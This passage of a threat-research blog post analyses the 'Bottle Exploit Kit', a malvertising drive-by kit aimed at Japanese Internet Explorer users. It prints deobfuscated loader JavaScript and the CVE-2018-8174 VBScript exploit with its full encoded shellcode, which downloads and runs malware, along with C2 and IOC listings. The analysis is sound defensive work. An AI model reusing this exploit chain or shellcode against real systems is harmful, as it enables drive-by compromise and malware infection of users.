<p>We have confirmed that we are redirected to BottleEK by malvertising. When you are redirected from ad-network to BottleEK, the landing page html is loaded first. The landing page loads two JavaScipt files.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;!doctype html&gt;
&lt;html lang="ja"&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
&lt;meta http-equiv="x-ua-compatible" content="IE=10"&gt;
&lt;meta http-equiv="Expires" content="0"&gt;
&lt;meta http-equiv="Pragma" content="no-cache"&gt;
&lt;meta http-equiv="Cache-control" content="no-cache"&gt;
&lt;meta http-equiv="Cache" content="no-cache"&gt;
&lt;link href="file/style.css" rel="stylesheet" type="text/css"/&gt;
&lt;/head&gt;
&lt;body style="background-color: #F4F4F4;font-family:MS PGothic,Arial,Hiragino Kaku Gothic ProN,Osaka,sans-serif"&gt;
&lt;div id="main" class="main"&gt;&lt;/div&gt;
&lt;script type="text/javascript" src="file/ajax.min.js"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="file/main.js"&gt;&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre></div></div>

<p>“ajax.min.js” is a JavaScript file for communication. It is used once to get the exploit code URL. Since it’s not important, we will omit it this time. Please remember only this code.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function e() {
    var b = document.createElement("script"),
        c = (new Date).getTime() + Math.round(1e3 * Math.random()),
        d = "JSONP_" + c;
    a[d] = function (a) {
        clearTimeout(s), document.body.removeChild(b), q(a)
    }, b.src = h + (h.indexOf("?") &gt; -1 ? "&amp;" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b)
}
</code></pre></div></div>

<p>Next, let’s read “main.js”. This file contains obfuscation, debug detection and environment detection.　Reading everything is not easy… First, a large array is defined. This looks like a Base64 string, but base64_decode doesn’t make any meaningful data. To decrypt this, you need to read two processes.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var _0x1d5a = ['bsK+BcOlwpXCmg==', 'OsKhwoIKb8OOwrHDsMOvEcOHw4Fn', 'ZMKfw6Fqw5R0', 'T1xqw70=', ...
</code></pre></div></div>

<p>The first process is to swap the order of the arrays. This is code like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var _0x5906e4 = function (_0x35d916) {
    while (--_0x35d916) {
        _0x4480b8['push'](_0x4480b8['shift']());
    }
};

/* --- Snip --- */

var _0x29fbca = {
    'getCookie': function (_0xa8b74, _0x1731ce) {
        _0xa8b74 = _0xa8b74 || function (_0x1e7379) {
            return _0x1e7379;
        };
        var _0x36cf86 = _0xa8b74(new RegExp('(?:^|;\x20)' + _0x1731ce['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
        var _0x3ff1ff = function (_0xf3a699, _0x2d4894) {
            _0xf3a699(++_0x2d4894);
        };
        _0x3ff1ff(_0x5906e4, _0x3c6c93);
        return _0x36cf86 ? decodeURIComponent(_0x36cf86[0x1]) : undefined;
    }
}

_0x29fbca['getCookie'](null, 'counter');
</code></pre></div></div>

<p>Next, the array data with the order changed is decoded. This is the code for decryption. A combination of Base64, URL Encode and RC4.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var decode = function (enc_data, key) {
    var a = [],
        b = 0,
        c, d = '',
        e = '';

    enc_data = atob(enc_data);
    for (var i = 0, length = enc_data['length']; i &lt; length; i++) {
        e += '%' + ('00' + enc_data['charCodeAt'](i)['toString'](16))['slice'](-2);
    }
    enc_data = decodeURIComponent(e);
    for (var i = 0; i &lt; 256; i++) {
        a[i] = i;
    }

    /* RC4 */
    for (i = 0; i &lt; 256; i++) {
        b = (b + a[i] + key['charCodeAt'](i % key['length'])) % 256;
        c = a[i];
        a[i] = a[b];
        a[b] = c;
    }

    i = 0;
    b = 0;
    for (var j = 0; j &lt; enc_data['length']; j++) {
        i = (i + 1) % 256;
        b = (b + a[i]) % 256;
        c = a[i];
        a[i] = a[b];
        a[b] = c;
        d += String['fromCharCode'](enc_data['charCodeAt'](j) ^ a[(a[i] + a[b]) % 256]);
    }

    return d;
};
</code></pre></div></div>

<p>This decrypts the array data and executes the main process.</p>

<p>First, check that <code class="language-plaintext highlighter-rouge">username</code> is set in the cookie. If it is set, processing ends. If not, set cookie <code class="language-plaintext highlighter-rouge">username=bingv</code> and the attack will continue.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var user = getCookie('username');
if (user == '') {
    setCookie('username', 'bingv', 0x1);
</code></pre></div></div>

<p>Next, check user environment. This is one of the most characteristic codes of the Bottle Exploit Kit.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var chk = checkEnv();
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">checkEnv</code> gets the browser language setting. If it is not Japanese, display a dummy html and end.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function checkEnv() {
    var _0x4db42a = (navigator['language'] || navigator['browserLanguage'])['toLowerCase']();
    if (_0x4db42a['indexOf']('ja') == -0x1) return 0x0;
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>document['getElementById']('main')['innerHTML'] = "&lt;h1&gt;Customer Login&lt;/h1&gt;&lt;form&gt;&lt;input type='text'value='User'&gt;&lt;input type='password'&gt;&lt;input type='submit'value='Submit'&gt;&lt;/form&gt;";
</code></pre></div></div>

<p>And, browser information is acquired by User-Agent. If it is not Internet Explorer, display a dummy html and end in the same way.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var _0x100f15 = navigator['userAgent'];
var _0xed2c96 = _0x100f15['indexOf']('compatible') &gt; -0x1 &amp;&amp; _0x100f15['indexOf']('MSIE') &gt; -0x1;
var _0x4d34a9 = _0x100f15['indexOf']('Trident') &gt; -0x1 &amp;&amp; _0x100f15['indexOf']('rv:11.0') &gt; -0x1;
if (_0xed2c96) {
    if (_0x2956('0x43', '^eQ7') !== _0x2956('0x44', '4@%$')) {
        var _0x41dde8 = new RegExp("MSIE (\d+\.\d+);");
        _0x41dde8['test'](_0x100f15);
        var _0x50d3cb = parseFloat(RegExp['$1']);
        return _0x50d3cb;
    } else {
        _0x53ccba(this, function () {
            var _0x2e6966 = new RegExp("function *\( *\)");
            var _0xdc7ac8 = new RegExp("\+\+ *(?:_0x(?:[a-f0-9]){4,6}|(?:\b|\d)[a-z0-9]{1,4}(?:\b|\d))", 'i');
            var _0x4fc827 = _0x118083('init');
            if (!_0x2e6966['test'](_0x4fc827 + 'chain') || !_0xdc7ac8['test'](_0x4fc827 + 'input')) {
                _0x4fc827('0');
            } else {
                _0x118083();
            }
        })();
    }
</code></pre></div></div>

<p>If these checks are passed, the image is displayed. The <code class="language-plaintext highlighter-rouge">1.gif</code> used at this time is an image of the bottle. The <code class="language-plaintext highlighter-rouge">str1</code> displayed below the image is Japanese.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var str1 = '読み込み中。 。 。 お待ちください&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;';

/* --- Snip --- */

if (chk &gt; 0x0) {
    var myimg = document['createElement']('img');
    myimg['setAttribute']('id', 'ldimg');
    myimg['setAttribute']('style', 'position:absolute;width:40%;left:30%;height:40%; top:20%; z-index: 10;display:inline');
    myimg['setAttribute']('src', 'file/1.gif');
    document['body']['appendChild'](myimg);
    var myp = document['createElement']('p');
    myp['setAttribute']('id', 'ldpr');
    myp['setAttribute']('style', 'font-size:30px; position:absolute; left:5%; text-align:center; height:10%; top:60%; width:90%; z-index:10;');
    document['body']['appendChild'](myp);
    for (var i = 0x0; i &lt;= LOAD_SECOND; i++) {
        var progress = Math['round'](i * 0x64 / LOAD_SECOND);
        (function (_0x368e63) {
            setTimeout(function () {
                change_progress(_0x368e63, str1);
            }, i * 0x3e8);
        }(progress));
    }
</code></pre></div></div>

<p><img src="https://nao-sec.org/assets/2019-12-13/2.png" alt="" /></p>

<p>And it gets the exploit code. Three parameters are used at that time.</p>

<ol>
  <li>Internet Explorer version</li>
  <li>is 64bit</li>
  <li>Adobe Flash Player version</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var is64 = 0x0;
if (navigator['platform']['indexOf']('64') != -0x1) is64 = 0x1;
var fls = flashChecker();
ajax({
    'type': 'GET',
    'dataType': 'jsonp',
    'timeOut': 0x2710,
    'url': '/conn.php?callback=?',
    'data': {
        'data1': chk,
        'data2': is64,
        'data3': fls['v']
    },
</code></pre></div></div>

<p>When send this request, use the <code class="language-plaintext highlighter-rouge">ajax.min.js</code> you read earlier. Therefore, <code class="language-plaintext highlighter-rouge">callback</code> is added at the end.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function e() {
    var b = document.createElement("script"),
        c = (new Date).getTime() + Math.round(1e3 * Math.random()),
        d = "JSONP_" + c;
    a[d] = function (a) {
        clearTimeout(s), document.body.removeChild(b), q(a)
    }, b.src = h + (h.indexOf("?") &gt; -1 ? "&amp;" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b)
}
</code></pre></div></div>

<p>If successful, read the exploit code using the response data. When exploiting the vulnerability of Internet Explorer, read <code class="language-plaintext highlighter-rouge">file/vbs.vbs</code>, and when exploiting the vulnerability of Adobe Flash Player, read<code class="language-plaintext highlighter-rouge"> file/swf.swf</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>'success': function (_0x2ad29a) {
    if (_0x2ad29a[0x1] != '') {
        if (_0x2956('0x69', '904!') !== _0x2956('0x6a', 'mNBB')) {
            var _0x5517a0 = document['createElement']('embed');
            _0x5517a0['src'] = _0x2ad29a[0x1];
            _0x5517a0['setAttribute']('style', 'width:1px; height:1px');
            document['body']['appendChild'](_0x5517a0);
        } else {
            var _0x33b1ee = cname + '=';
            var _0x3a1f81 = document['cookie']['split'](';');
            for (var _0x2e7aac = 0x0; _0x2e7aac &lt; _0x3a1f81['length']; _0x2e7aac++) {
                var _0x446c09 = _0x3a1f81[_0x2e7aac];
                while (_0x446c09['charAt'](0x0) == ' ') _0x446c09 = _0x446c09['substring'](0x1);
                if (_0x446c09['indexOf'](_0x33b1ee) != -0x1) return _0x446c09['substring'](_0x33b1ee['length'], _0x446c09['length']);
            }
            return '';
        }
    } else if (_0x2ad29a[0x0] != '') {
        var _0x5a39f4 = document['createElement']('script');
        _0x5a39f4['type'] = 'text/vbscript';
        _0x5a39f4['src'] = _0x2ad29a[0x0];
        document['body']['appendChild'](_0x5a39f4);
    }
}
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">vbs.vbs</code> exploits CVE-2018-8174 and <code class="language-plaintext highlighter-rouge">swf.swf</code> exploits CVE-2018-15982.</p>

<h3 id="cve-2018-8174">CVE-2018-8174</h3>
<p><code class="language-plaintext highlighter-rouge">vbs.vbs</code> is a simple string encoding. Decoding this will give you almost the same code as the PoC.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sub StartExploit
UAF
InitObjects
vb_adrr=LeakVBAddr()
vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
lIlll=GetMemValue()+69596
SetMemValue ExpandWithVirtualProtect(lIlll)
llIIll=GetMemValue()
ExecuteShellcode
End Sub
StartExploit
</code></pre></div></div>

<p>This is the shellcode that is running.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Function GetShellcode()
IIlI=Unescape("%u0000%u0000%u0000%u0000") &amp;Unescape("%u4cbf%u73d0%udb2c%ud9c5%u2474%u5bf4%uc92b%uc3b1%u7b31%u0313%u137b%uc383%u3248%uc586%ub3ff%u1669%u129b%u1659%u5563%ud61f%u581b%u9794%ue9d7%u03ea%ued6c%u2b61%uaef9%uef65%ueece%ue36d%u2f59%ufcf2%uaf99%u42fa%uac50%uf9c5%ub9e8%u3441%u5399%u928a%u40ea%uf18e%uabfc%ub143%u91b1%uc263%u73c0%ua49c%u7ceb%u2d28%u4338%uee19%u04b5%uc8a6%ub29d%u5eaa%u48ee%ua716%u7468%ua355%u8963%uc79e%u923b%u5373%u8ee3%ue825%uef63%uae42%uec9b%u2c9b%uf16c%u7bfc%ubb1b%uf5f2%ub84e%u407a%u7b84%u3dbf%uf727%u3e7a%u132c%ubd03%uf4e5%u3d85%ufaf6%u84a1%u7100%uf9db%u8555%u4068%u4ea9%ubf2a%u5223%u1b5f%ue940%u64ac%u57cd%u1051%udcdd%u5fad%u25de%u08fd%ufc1f%u5df2%uf0d3%ua6bd%u85a8%u568f%u9ea5%u948e%u177e%u62d5%u6d0b%ucc2e%ua750%ua40d%udbed%uafc3%u23f1%u2fe4%u0ea9%u3bf4%u5177%u067d%uda7b%u7538%u1e4a%u0e97%u22a0%u1df4%u736b%uf652%u8450%uf9a3%u8bed%uc0dd%u7e05%ucce0%u860d%u32e3%u0232%ua7c3%ueacc%ubcc2%ufc37%u3c02%u0238%u3d04%uf9b0%uc72c%u1cd4%u37d0%ua2db%ud8ea%uebae%u89da%ub539%ud51e%ub3e9%ud55a%u8284%u7550%u5c69%ufc9d%u99d0%ub810%u099a%u13d4%u551e%u151c%u5d5b%u539e%u756b%u6290%u7a94%uadac%uc3e3%u2d5b%ud385%u35b3%u1b97%u49bc%u6f51%u4a3e%u1962%u3bcd%ufeda%uef25%u011c%uef4a%u75d6%ue8c8%ufce9%u8023%u0d53%u56ac%uf2a5%ua8d3%u866f%ua351%uee70%uc2bd%u1fc8%u6056%ue02a%u7659%u94e4%u765d%ub77e%ucf28%u2f6a%u2e8f%u506d%uf82f%ue918%ufacc%ud66c%u9c04%ue96e%u622a%u9fb8%ubd93%ue93b%u563f%ue848%u59bf%ud1cd%uf900%u9f58%u5ba4%ue901%u8b66%u169f%ub397%ue836%u4c68%ubcc8%ua0e3%ud249%u39b4%u2b49%u6c66%uc31e%u6e75%uec5f%u7b39%u2d8a%u0946%u5680%u54cb%u6b20%u0608%udfe3%ue269%u88cb%u9901%u8fbb%uadaf%u3f01%u5e1f%u7ab2%uec8f%uf355%ud601%u2fe0%ub634%uaa9e%u0300%u5986%ue7ea%u6545%u2bb1%u1ad0%ub714%u98e5%u5888%u0d84%u602a%ub613%u00c3%u18f5%u98db%u15e1%u528b%u12ce%u7f0e%uf857%u4eac%u5f1f%u4f3f%u7c49%ue640%u4155%u0709%ub995%u0200%u79fd%u3f2c%u86fd%u64e7%u0c16%u6160%uede9%ue470%u2d6c%u098e%ufe91%ub0e2%uaf26%u6a03%uc2b0%u67b9%u5190%u48c4%u95ee%u1838%u2fc9%uea33%ucca3%ucad3%ueb0e%ua64b%u25e4%u0d53%u5ff8%ueb23%u5f00%uff85%ucde8%uffd4%u7c17%uc865%ub8e4%u4127%u82af%u0137%u583f%u2f9b%u9eba%ucfe5%u4e3b%u7597%u3f0b%u302c%u934f%uebcd%u915b%u78f2%uf169%u8b4a%u016d%uda54%uea49%ub067%u691c%uc9b7%u8de1%uc968%u6a4b%u6bd6%u4328%u5f2b%ueb9a%ufa15%u135a%u8446%u4bf2%u3644%uf808%u2d83%ua621%u871f%u46da%u4625%u4dd5%uae62%u62cf%u23b9%u8f5f%u0d88%u0f0c%uce77%u67c1%u4614%u0844%u868d%u84e2%ud721%u3dbd%ubed4%udb2f%u6f5c%u4fcb%u6ff1%ue246%u1d65%u6c07%ub958%u1cbb%u15a4%u9006%u95f4" &amp;lIIII(IIIII("")))
IIlI=IIlI &amp; String((&amp;h80000-LenB(IIlI))/2,Unescape("%u4141"))
GetShellcode=IIlI
End Function
</code></pre></div></div>

<h3 id="cve-2018-15982">CVE-2018-15982</h3>
<p><code class="language-plaintext highlighter-rouge">swf.swf</code> is almost the same as PoC.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>package
{
   import com.adobe.tvsdk.mediacore.metadata.Metadata;
   import flash.display.Sprite;
   import flash.events.Event;
   import flash.net.LocalConnection;
   import flash.system.Capabilities;
   import flash.utils.ByteArray;
   import flash.utils.Endian;
   
   public class Main extends Sprite
   {
</code></pre></div></div>

<p>The executed shellcode is the same as CVE-2018-8174.</p>

<h2 id="shellcode">Shellcode</h2>
<p>The shellcode downloads and executes malware just like other EKs. The malware is not encrypted.</p>

<p>The shellcode was encoded by Shikata Ga Nai Encoder.</p>

<p><img src="https://nao-sec.org/assets/2019-12-13/3.png" alt="" /></p>

<p>The decoded shellcode is a simple code that downloads and executes a malwre. 
The list of APIs to use is as follows:</p>

<p><img src="https://nao-sec.org/assets/2019-12-13/4.png" alt="" /></p>

<p>The API hashing algorithm is imul83hAdd.</p>

<p><img src="https://nao-sec.org/assets/2019-12-13/5.png" alt="" /></p>

<p>Interestingly, the URL string of the download destination was created as a mutex.
<img src="https://nao-sec.org/assets/2019-12-13/6.png" alt="" /></p>

<p>The malware is created as svchost.exe in% temp% and then executed with the WinExe function.
<img src="https://nao-sec.org/assets/2019-12-13/7.png" alt="" /></p>

<h2 id="malware">Malware</h2>
<p>The malware is probably unique. We have never seen this elsewhere. According to my friend <a href="https://twitter.com/VK_Intel">@VK_Intel</a>, this could be a stealer targeting Japan.</p>

<p>These are the characteristics of this malware.</p>
<ul>
  <li>Check if Japanese environment using GetUserDefaultUILanguage</li>
  <li>Download and use unzip.exe from these websites
    <ul>
      <li>ftp://ftp.cadwork.ch/DVD_V20/cadwork.dir/COM/unzip.exe</li>
      <li>ftp://freddy-ru.starlink.ru/ckJlag/antivir/SDFix/apps/unzip.exe</li>
      <li>ftp://ftp.cadwork.ch/DVD_V20/cadwork.dir/COM/unzip.exe</li>
    </ul>
  </li>
  <li>Download and use Tor
    <ul>
      <li>https://archive.torproject.org/tor-package-archive/torbrowser/8.0.8/tor-win32-0.3.5.8.zip</li>
    </ul>
  </li>
  <li>C2
    <ul>
      <li>[POST] 5frjkvw2w3wv6dnv.onion/conn.php</li>
      <li>[GET] 5frjkvw2w3wv6dnv.onion/rd.php</li>
      <li>[POST] 4w6ylniamu6x7e3a.onion/connect.php
        <ul>
          <li>User-Agent is <code class="language-plaintext highlighter-rouge">Mozilla/5.0 (Windows NT 6.1; WOW64)</code></li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Main file location
    <ul>
      <li>%temp%</li>
      <li><code class="language-plaintext highlighter-rouge">C:\Users\Public</code></li>
    </ul>
  </li>
</ul>

<h2 id="finally">Finally</h2>
<p>Bottle Exploit Kit is an exploit kit targeting Japan. It’s not as sophisticated as the Exploit Kit, but JavaScript is elaborate. It has been observed for at least three months ago, and its activity continues today. The vulnerabilities it exploits are the same as other EKs. The same should be noted. Keep an eye on trend of it.</p>

<p>Many people helped with our research. Special thanks to <a href="https://twitter.com/kafeine">@kafeine</a> and <a href="https://twitter.com/VK_Intel">@VK_Intel</a>.</p>

<h2 id="ioc">IOC</h2>
<ul>
  <li>BottleEK
    <ul>
      <li>Traffic
        <ul>
          <li>priv.inteleksys.com (139.180.136.22)
            <ul>
              <li>/</li>
              <li>/file/style.css</li>
              <li>/file/ajax.min.js</li>
              <li>/file/main.js</li>
              <li>/file/1.gif</li>
              <li>/conn.php</li>
              <li>/file/vbs.vbs</li>
              <li>/file/swf.swf</li>
            </ul>
          </li>
          <li>sales.inteleksys.com (139.99.115.204)</li>
        </ul>
      </li>
      <li>Hash
        <ul>
          <li>main.js
            <ul>
              <li>588bb25acf86ac18323d800372bbdc0eb89ba3ce80ed3d891a9c41b8db93df26</li>
            </ul>
          </li>
          <li>1.gif
            <ul>
              <li>f89a8cc4dee2ac551380d0ecf5ee2d6dc2d2be20bb1929599a23edf79d8ed127</li>
            </ul>
          </li>
          <li>vbs.vbs
            <ul>
              <li>0afe359d9659f9d43a737bf2e1fcbe4d7e216fee3085cad153a4548785bb0166</li>
            </ul>
          </li>
          <li>swf.swf
            <ul>
              <li>340bfa57fafda31843588619cf505d08bdf41b6c3caf0df2b3b260473f3768d1</li>
            </ul>
          </li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Malware
    <ul>
      <li>Traffic
        <ul>
          <li>https://archive.torproject.org/tor-package-archive/torbrowser/8.0.8/tor-win32-0.3.5.8.zip</li>
          <li>5frjkvw2w3wv6dnv.onion
            <ul>
              <li>/conn.php</li>
              <li>/rd.php</li>
            </ul>
          </li>
          <li>4w6ylniamu6x7e3a.onion
            <ul>
              <li>/connect.php</li>
            </ul>
          </li>
        </ul>
      </li>
      <li>Hash
        <ul>
          <li>Malware
            <ul>
              <li>914eb64b93cbb631c710ef6cbd0f9cedf93415be421ccc6e285b288b87f3a246</li>
              <li>c1b67a30119107365c4a311479794e07afb631980a649749501cb9f511fb0ab4</li>
            </ul>
          </li>
          <li>DLL
            <ul>
              <li>7d6823211590d0c9beffb964051ff0638e3e00beae3274733a6ccdf5c41fdede</li>
              <li>6625c178cc56184a1d8f8d0cbabff3abcc90820cd158b5860b10d6196d606a82</li>
            </ul>
          </li>
        </ul>
      </li>
    </ul>
  </li>
</ul>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[First On December 11, 2019, we were strolling through ad-networks. As before, we observed RIG, Fallout and Underminer Exploit Kit, but observed other interesting Drive-by Download attack. We call it “Bottle Exploit Kit”. BottleEK targets only Japanese users. According to our research, BottleEK has been active at least in September 2019. This time we introduce BottleEK. Sample traffic data is here. Traffic We have confirmed that we are redirected to BottleEK by malvertising. When you are redirected from ad-network to BottleEK, the landing page html is loaded first. The landing page loads two JavaScipt files. &lt;!doctype html&gt; &lt;html lang="ja"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt; &lt;meta http-equiv="x-ua-compatible" content="IE=10"&gt; &lt;meta http-equiv="Expires" content="0"&gt; &lt;meta http-equiv="Pragma" content="no-cache"&gt; &lt;meta http-equiv="Cache-control" content="no-cache"&gt; &lt;meta http-equiv="Cache" content="no-cache"&gt; &lt;link href="file/style.css" rel="stylesheet" type="text/css"/&gt; &lt;/head&gt; &lt;body style="background-color: #F4F4F4;font-family:MS PGothic,Arial,Hiragino Kaku Gothic ProN,Osaka,sans-serif"&gt; &lt;div id="main" class="main"&gt;&lt;/div&gt; &lt;script type="text/javascript" src="file/ajax.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="file/main.js"&gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; “ajax.min.js” is a JavaScript file for communication. It is used once to get the exploit code URL. Since it’s not important, we will omit it this time. Please remember only this code. function e() { var b = document.createElement("script"), c = (new Date).getTime() + Math.round(1e3 * Math.random()), d = "JSONP_" + c; a[d] = function (a) { clearTimeout(s), document.body.removeChild(b), q(a) }, b.src = h + (h.indexOf("?") &gt; -1 ? "&amp;" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b) } Next, let’s read “main.js”. This file contains obfuscation, debug detection and environment detection.　Reading everything is not easy… First, a large array is defined. This looks like a Base64 string, but base64_decode doesn’t make any meaningful data. To decrypt this, you need to read two processes. var _0x1d5a = ['bsK+BcOlwpXCmg==', 'OsKhwoIKb8OOwrHDsMOvEcOHw4Fn', 'ZMKfw6Fqw5R0', 'T1xqw70=', ... The first process is to swap the order of the arrays. This is code like this: var _0x5906e4 = function (_0x35d916) { while (--_0x35d916) { _0x4480b8['push'](_0x4480b8['shift']()); } }; /* --- Snip --- */ var _0x29fbca = { 'getCookie': function (_0xa8b74, _0x1731ce) { _0xa8b74 = _0xa8b74 || function (_0x1e7379) { return _0x1e7379; }; var _0x36cf86 = _0xa8b74(new RegExp('(?:^|;\x20)' + _0x1731ce['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)')); var _0x3ff1ff = function (_0xf3a699, _0x2d4894) { _0xf3a699(++_0x2d4894); }; _0x3ff1ff(_0x5906e4, _0x3c6c93); return _0x36cf86 ? decodeURIComponent(_0x36cf86[0x1]) : undefined; } } _0x29fbca['getCookie'](null, 'counter'); Next, the array data with the order changed is decoded. This is the code for decryption. A combination of Base64, URL Encode and RC4. var decode = function (enc_data, key) { var a = [], b = 0, c, d = '', e = ''; enc_data = atob(enc_data); for (var i = 0, length = enc_data['length']; i &lt; length; i++) { e += '%' + ('00' + enc_data['charCodeAt'](i)['toString'](16))['slice'](-2); } enc_data = decodeURIComponent(e); for (var i = 0; i &lt; 256; i++) { a[i] = i; } /* RC4 */ for (i = 0; i &lt; 256; i++) { b = (b + a[i] + key['charCodeAt'](i % key['length'])) % 256; c = a[i]; a[i] = a[b]; a[b] = c; } i = 0; b = 0; for (var j = 0; j &lt; enc_data['length']; j++) { i = (i + 1) % 256; b = (b + a[i]) % 256; c = a[i]; a[i] = a[b]; a[b] = c; d += String['fromCharCode'](enc_data['charCodeAt'](j) ^ a[(a[i] + a[b]) % 256]); } return d; }; This decrypts the array data and executes the main process. First, check that username is set in the cookie. If it is set, processing ends. If not, set cookie username=bingv and the attack will continue. var user = getCookie('username'); if (user == '') { setCookie('username', 'bingv', 0x1); Next, check user environment. This is one of the most characteristic codes of the Bottle Exploit Kit. var chk = checkEnv(); checkEnv gets the browser language setting. If it is not Japanese, display a dummy html and end. function checkEnv() { var _0x4db42a = (navigator['language'] || navigator['browserLanguage'])['toLowerCase'](); if (_0x4db42a['indexOf']('ja') == -0x1) return 0x0; document['getElementById']('main')['innerHTML'] = "&lt;h1&gt;Customer Login&lt;/h1&gt;&lt;form&gt;&lt;input type='text'value='User'&gt;&lt;input type='password'&gt;&lt;input type='submit'value='Submit'&gt;&lt;/form&gt;"; And, browser information is acquired by User-Agent. If it is not Internet Explorer, display a dummy html and end in the same way. var _0x100f15 = navigator['userAgent']; var _0xed2c96 = _0x100f15['indexOf']('compatible') &gt; -0x1 &amp;&amp; _0x100f15['indexOf']('MSIE') &gt; -0x1; var _0x4d34a9 = _0x100f15['indexOf']('Trident') &gt; -0x1 &amp;&amp; _0x100f15['indexOf']('rv:11.0') &gt; -0x1; if (_0xed2c96) { if (_0x2956('0x43', '^eQ7') !== _0x2956('0x44', '4@%$')) { var _0x41dde8 = new RegExp("MSIE (\d+\.\d+);"); _0x41dde8['test'](_0x100f15); var _0x50d3cb = parseFloat(RegExp['$1']); return _0x50d3cb; } else { _0x53ccba(this, function () { var _0x2e6966 = new RegExp("function *\( *\)"); var _0xdc7ac8 = new RegExp("\+\+ *(?:_0x(?:[a-f0-9]){4,6}|(?:\b|\d)[a-z0-9]{1,4}(?:\b|\d))", 'i'); var _0x4fc827 = _0x118083('init'); if (!_0x2e6966['test'](_0x4fc827 + 'chain') || !_0xdc7ac8['test'](_0x4fc827 + 'input')) { _0x4fc827('0'); } else { _0x118083(); } })(); } If these checks are passed, the image is displayed. The 1.gif used at this time is an image of the bottle. The str1 displayed below the image is Japanese. var str1 = '読み込み中。 。 。 お待ちください&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'; /* --- Snip --- */ if (chk &gt; 0x0) { var myimg = document['createElement']('img'); myimg['setAttribute']('id', 'ldimg'); myimg['setAttribute']('style', 'position:absolute;width:40%;left:30%;height:40%; top:20%; z-index: 10;display:inline'); myimg['setAttribute']('src', 'file/1.gif'); document['body']['appendChild'](myimg); var myp = document['createElement']('p'); myp['setAttribute']('id', 'ldpr'); myp['setAttribute']('style', 'font-size:30px; position:absolute; left:5%; text-align:center; height:10%; top:60%; width:90%; z-index:10;'); document['body']['appendChild'](myp); for (var i = 0x0; i &lt;= LOAD_SECOND; i++) { var progress = Math['round'](i * 0x64 / LOAD_SECOND); (function (_0x368e63) { setTimeout(function () { change_progress(_0x368e63, str1); }, i * 0x3e8); }(progress)); } And it gets the exploit code. Three parameters are used at that time. Internet Explorer version is 64bit Adobe Flash Player version var is64 = 0x0; if (navigator['platform']['indexOf']('64') != -0x1) is64 = 0x1; var fls = flashChecker(); ajax({ 'type': 'GET', 'dataType': 'jsonp', 'timeOut': 0x2710, 'url': '/conn.php?callback=?', 'data': { 'data1': chk, 'data2': is64, 'data3': fls['v'] }, When send this request, use the ajax.min.js you read earlier. Therefore, callback is added at the end. function e() { var b = document.createElement("script"), c = (new Date).getTime() + Math.round(1e3 * Math.random()), d = "JSONP_" + c; a[d] = function (a) { clearTimeout(s), document.body.removeChild(b), q(a) }, b.src = h + (h.indexOf("?") &gt; -1 ? "&amp;" : "?") + "callback=" + d, b.type = "text/javascript", document.body.appendChild(b), f(d, b) } If successful, read the exploit code using the response data. When exploiting the vulnerability of Internet Explorer, read file/vbs.vbs, and when exploiting the vulnerability of Adobe Flash Player, read file/swf.swf. 'success': function (_0x2ad29a) { if (_0x2ad29a[0x1] != '') { if (_0x2956('0x69', '904!') !== _0x2956('0x6a', 'mNBB')) { var _0x5517a0 = document['createElement']('embed'); _0x5517a0['src'] = _0x2ad29a[0x1]; _0x5517a0['setAttribute']('style', 'width:1px; height:1px'); document['body']['appendChild'](_0x5517a0); } else { var _0x33b1ee = cname + '='; var _0x3a1f81 = document['cookie']['split'](';'); for (var _0x2e7aac = 0x0; _0x2e7aac &lt; _0x3a1f81['length']; _0x2e7aac++) { var _0x446c09 = _0x3a1f81[_0x2e7aac]; while 